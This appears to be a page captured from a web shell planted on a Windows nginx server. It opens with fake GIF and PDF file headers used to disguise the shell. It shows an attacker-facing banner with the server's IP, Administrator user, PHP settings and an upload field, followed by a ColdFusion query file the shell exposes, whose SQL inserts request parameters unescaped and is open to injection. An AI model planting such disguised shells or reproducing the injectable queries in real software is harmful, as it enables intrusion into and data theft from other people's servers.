GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/qry/ |
Upload File : |
<!--- DepartmentInfo.cfqry ---> <cfparam name="DepartmentInfoDebug" default=False> <cfif DepartmentInfoDebug AND REMOTE_ADDR eq "127.0.0.1"> <cfoutput>DepartmentInfoDebug is on.<br></cfoutput> </cfif> <cfparam name="DepartmentID" default=""> <cfparam name="DepartmentCode" default=""> <cfparam name="DepartmentNumber" default=""> <cfif DepartmentInfoDebug AND REMOTE_ADDR eq "127.0.0.1"> <cfoutput> DepartmentID=#DepartmentID#<br> DepartmentCode=#DepartmentCode#<br> DepartmentNumber=#DepartmentNumber#<br> </cfoutput> <cfoutput><pre> APPLICATION.DATASOURCE_CST = #APPLICATION.DATASOURCE_CST# SELECT Department.DepartmentID, Department.DepartmentCode, Department.DepartmentIsActive, Departments_Name.DepartmentName, Departments_Number.DepartmentNumber FROM (Department INNER JOIN Departments_Name ON Department.DepartmentID = Departments_Name.DepartmentID) INNER JOIN Departments_Number ON Department.DepartmentID = Departments_Number.DepartmentID WHERE 1=1<cfif DepartmentID neq ""> AND Department.DepartmentID=#DepartmentID#</cfif><cfif DepartmentCode neq ""> AND Department.DepartmentCode='#DepartmentCode#'</cfif><cfif DepartmentNumber neq ""> AND Departments_Number.DepartmentNumber="#DepartmentNumber#"</cfif> </pre></cfoutput> </cfif> <cfquery datasource="#APPLICATION.DATASOURCE_RC#" name="DepartmentInfo"> SELECT Department.DepartmentID, Department.DepartmentCode, Department.DepartmentName, Department.DepartmentNumber, Department.DepartmentIsUnavailable FROM Department WHERE 1=1<cfif DepartmentCode neq ""> AND Department.DepartmentCode='#DepartmentCode#'</cfif><cfif DepartmentNumber neq ""> AND Department.DepartmentNumber="#DepartmentNumber#"</cfif> </cfquery> <cfif DepartmentInfoDebug AND REMOTE_ADDR eq "127.0.0.1"> <cfoutput> DepartmentInfo.RecordCount=#DepartmentInfo.RecordCount#<br> DepartmentID=#DepartmentInfo.DepartmentID#<br> DepartmentCode=#DepartmentInfo.DepartmentCode#<br> DepartmentIsActive=#DepartmentInfo.DepartmentIsActive#<br> DepartmentName=#DepartmentInfo.DepartmentName#<br> DepartmentNumber=#DepartmentInfo.DepartmentNumber#<br> <br> </cfoutput> </cfif>